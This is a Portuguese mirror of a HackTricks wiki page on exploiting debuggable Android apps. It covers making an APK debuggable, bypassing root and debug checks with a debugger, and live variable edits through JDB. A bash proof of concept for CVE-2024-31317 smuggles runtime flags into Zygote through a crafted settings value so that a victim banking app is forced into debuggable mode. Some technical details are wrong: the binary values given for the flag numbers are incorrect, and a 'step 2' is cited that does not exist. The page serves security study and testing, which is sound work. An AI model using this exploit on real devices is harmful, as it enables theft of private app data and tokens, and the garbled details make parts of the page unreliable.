mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
128 lines
8.7 KiB
Markdown
128 lines
8.7 KiB
Markdown
# Explorando uma aplicação debuggable
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
# **Contornando verificações de root e debuggable**
|
||
|
||
Esta seção do post é um resumo do post [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||
|
||
## Passos para Tornar um App Android Debuggable e Contornar Verificações
|
||
|
||
### **Tornando o App Debuggable**
|
||
|
||
Conteúdo baseado em https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
|
||
|
||
1. **Decompile o APK:**
|
||
|
||
- Utilize a ferramenta APK-GUI para decompilar o APK.
|
||
- No arquivo _android-manifest_, insira `android:debuggable="true"` para habilitar o modo de depuração.
|
||
- Recompile, assine e zipalign a aplicação modificada.
|
||
|
||
2. **Instale a Aplicação Modificada:**
|
||
|
||
- Use o comando: `adb install <application_name>`.
|
||
|
||
3. **Recupere o Nome do Pacote:**
|
||
|
||
- Execute `adb shell pm list packages –3` para listar aplicações de terceiros e encontrar o nome do pacote.
|
||
|
||
4. **Configure o App para Aguardar Conexão do Depurador:**
|
||
|
||
- Comando: `adb shell am setup-debug-app –w <package_name>`.
|
||
- **Nota:** Este comando deve ser executado toda vez antes de iniciar a aplicação para garantir que ela aguarde o depurador.
|
||
- Para persistência, use `adb shell am setup-debug-app –w ––persistent <package_name>`.
|
||
- Para remover todas as flags, use `adb shell am clear-debug-app <package_name>`.
|
||
|
||
5. **Prepare-se para Depuração no Android Studio:**
|
||
|
||
- Navegue no Android Studio para _File -> Open Profile or APK_.
|
||
- Abra o APK recompilado.
|
||
|
||
6. **Defina Breakpoints em Arquivos Java Chave:**
|
||
- Coloque breakpoints em `MainActivity.java` (especificamente no método `onCreate`), `b.java` e `ContextWrapper.java`.
|
||
|
||
### **Contornando Verificações**
|
||
|
||
A aplicação, em certos pontos, verificará se é debuggable e também verificará binários que indicam um dispositivo com root. O depurador pode ser usado para modificar informações do app, desmarcar o bit debuggable e alterar os nomes dos binários pesquisados para contornar essas verificações.
|
||
|
||
Para a verificação debuggable:
|
||
|
||
1. **Modifique Configurações de Flag:**
|
||
- Na seção de variáveis do console do depurador, navegue até: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
|
||
- **Nota:** A representação binária de `flags = 814267974` é `11000011100111011110`, indicando que a "Flag_debuggable" está ativa.
|
||
|
||
|
||
|
||
Esses passos garantem coletivamente que a aplicação possa ser depurada e que certas verificações de segurança possam ser contornadas usando o depurador, facilitando uma análise ou modificação mais aprofundada do comportamento da aplicação.
|
||
|
||
O passo 2 envolve mudar um valor de flag para 814267972, que é representado em binário como 110000101101000000100010100.
|
||
|
||
# **Explorando uma Vulnerabilidade**
|
||
|
||
Uma demonstração foi fornecida usando uma aplicação vulnerável contendo um botão e um textview. Inicialmente, a aplicação exibe "Crack Me". O objetivo é alterar a mensagem de "Try Again" para "Hacked" em tempo de execução, sem modificar o código-fonte.
|
||
|
||
## **Verificando a Vulnerabilidade**
|
||
|
||
- A aplicação foi decompilada usando `apktool` para acessar o arquivo `AndroidManifest.xml`.
|
||
- A presença de `android_debuggable="true"` no AndroidManifest.xml indica que a aplicação é debuggable e suscetível a exploração.
|
||
- Vale ressaltar que o `apktool` é empregado apenas para verificar o status debuggable sem alterar nenhum código.
|
||
|
||
## **Preparando o Setup**
|
||
|
||
- O processo envolveu iniciar um emulador, instalar a aplicação vulnerável e usar `adb jdwp` para identificar portas do Dalvik VM que estão ouvindo.
|
||
- O JDWP (Java Debug Wire Protocol) permite a depuração de uma aplicação em execução em uma VM, expondo uma porta única.
|
||
- O encaminhamento de porta foi necessário para depuração remota, seguido pela anexação do JDB à aplicação alvo.
|
||
|
||
## **Injetando Código em Tempo de Execução**
|
||
|
||
- A exploração foi realizada definindo breakpoints e controlando o fluxo da aplicação.
|
||
- Comandos como `classes` e `methods <class_name>` foram usados para descobrir a estrutura da aplicação.
|
||
- Um breakpoint foi definido no método `onClick`, e sua execução foi controlada.
|
||
- Os comandos `locals`, `next` e `set` foram utilizados para inspecionar e modificar variáveis locais, particularmente mudando a mensagem "Try Again" para "Hacked".
|
||
- O código modificado foi executado usando o comando `run`, alterando com sucesso a saída da aplicação em tempo real.
|
||
|
||
Este exemplo demonstrou como o comportamento de uma aplicação debuggable pode ser manipulado, destacando o potencial para explorações mais complexas, como obter acesso ao shell no dispositivo no contexto da aplicação.
|
||
|
||
---
|
||
|
||
# 2024 – Transformando **qualquer** aplicação em um processo debuggable (CVE-2024-31317)
|
||
|
||
Mesmo que o APK alvo _não_ seja enviado com a flag `android:debuggable`, pesquisas recentes mostraram que é possível forçar **aplicações arbitrárias** a iniciar com a flag de tempo de execução `DEBUG_ENABLE_JDWP` abusando da forma como o Zygote analisa argumentos de linha de comando.
|
||
|
||
* **Vulnerabilidade:** Validação inadequada de `--runtime-flags` fornecidos através do socket de comando do Zygote permite que um atacante que pode acessar `system_server` (por exemplo, via o shell privilegiado `adb` que possui a permissão `WRITE_SECURE_SETTINGS`) injetar parâmetros extras. Quando o comando elaborado é reproduzido pelo `system_server`, o aplicativo vítima é forkado como _debuggable_ e com uma thread JDWP ouvindo. O problema é rastreado como **CVE-2024-31317** e foi corrigido no Boletim de Segurança do Android de junho de 2024.
|
||
* **Impacto:** Acesso total de leitura/gravação ao diretório de dados privados de **qualquer** app (incluindo os privilegiados, como `com.android.settings`), roubo de tokens, contorno de MDM e, em muitos casos, um caminho direto para escalonamento de privilégios abusando de endpoints IPC exportados do processo agora debuggable.
|
||
* **Versões afetadas:** Android 9 a 14 antes do nível de patch de junho de 2024.
|
||
|
||
## PoC Rápido
|
||
```bash
|
||
# Requires: adb shell (device must be <2024-06-01 patch-level)
|
||
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
|
||
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
|
||
|
||
# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
|
||
adb shell monkey -p com.victim.bank 1
|
||
|
||
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
|
||
adb jdwp # obtain the PID
|
||
adb forward tcp:8700 jdwp:<pid>
|
||
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
|
||
```
|
||
> O valor elaborado na etapa 1 quebra o parser fora do “caminho rápido” e anexa um segundo comando sintético onde `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) é aceito como se tivesse sido fornecido pelo framework. Uma vez que o aplicativo é iniciado, um socket JDWP é aberto e truques de depuração dinâmica regulares (substituição de método, patching de variável, injeção ao vivo de Frida, etc.) são possíveis **sem modificar o APK ou a imagem de inicialização do dispositivo**.
|
||
|
||
## Detecção e Mitigação
|
||
|
||
* Aplique o patch para o nível de segurança **2024-06-01** (ou posterior) – O Google endureceu o `ZygoteCommandBuffer` para que comandos subsequentes não possam ser contrabandeados dessa forma.
|
||
* Restringir o acesso `WRITE_SECURE_SETTINGS` / `shell` em dispositivos de produção. A exploração requer essa permissão, que normalmente é detida apenas por aplicativos ADB ou privilegiados de OEM.
|
||
* Em frotas gerenciadas por EMM/MDM, imponha `ro.debuggable=0` e negue o shell via `adb disable-verifier`.
|
||
|
||
---
|
||
|
||
## Referências
|
||
|
||
- [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||
- [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
|
||
- [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html)
|
||
- [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|